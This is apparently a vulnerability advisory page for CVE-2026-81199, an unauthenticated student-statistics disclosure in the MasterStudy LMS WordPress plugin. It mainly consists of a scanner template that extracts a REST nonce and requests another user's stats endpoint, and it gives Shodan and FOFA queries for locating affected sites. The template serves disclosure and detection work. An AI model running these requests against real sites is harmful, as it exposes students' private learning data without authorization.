CVE-2026-81199: MasterStudy LMS < 3.7.46 - Unauthenticated Student Statistics Disclosure

日期: 2026-09-16 | 影响软件: 未知 | PoC: 已公开

漏洞描述

MasterStudy LMS WordPress plugin before 3.7.46 contains an information disclosure vulnerability caused by missing authorization checks in student learning statistics, letting unauthenticated attackers access sensitive user course data, exploit requires no authentication.

PoC代码[已公开]

id: CVE-2026-81199

info:
  name: MasterStudy LMS < 3.7.46 - Unauthenticated Student Statistics Disclosure
  author: 0x_Akoko
  severity: medium
  description: |
    MasterStudy LMS WordPress plugin before 3.7.46 contains an information disclosure vulnerability caused by missing authorization checks in student learning statistics, letting unauthenticated attackers access sensitive user course data, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access sensitive student learning statistics of any registered user, leading to information disclosure.
  remediation: |
    Update to version 3.7.46 or later.
  reference:
    - https://wpscan.com/vulnerability/8dd53f85-5d1b-4e0b-a0f5-8c65d89cefb5/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-81199
  classification:
    cve-id: CVE-2026-81199
    epss-score: 0.00302
    epss-percentile: 0.22737
    cwe-id: CWE-200
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
  metadata:
    verified: true
    max-request: 2
    vendor: stylemix
    product: masterstudy-lms
    shodan-query: http.html:"/wp-content/plugins/masterstudy-lms-learning-management-system/"
    fofa-query: body="masterstudy-lms-learning-management-system"
  tags: cve,cve2026,wordpress,wp-plugin,masterstudy-lms,rest,disclosure,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "masterstudy-lms")'
          - 'len(nonce) > 0'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - 'rest_nonce"?\s*:\s*"?([a-f0-9]{10})'
          - '"nonce"\s*:\s*"([a-f0-9]{10})"'

  - raw:
      - |
        GET /?rest_route=/masterstudy-lms/v2/student/stats/1 HTTP/1.1
        Host: {{Hostname}}
        X-WP-Nonce: {{nonce}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"courses_statuses\":", "\"total_points\":", "\"total_assignments\":")'
          - '!contains_any(body, "forbidden", "rest_nonce_missed")'
        condition: and
# digest: 490a004630440220441f4f8579581af101ff753d144e2d1085c729bbec9f240705d87129c164d32002207b86e94fc706f8b1fa6574781056b06031d49b79178482e25f699e598853893f:922c64590222798bb761d5b6d8e72950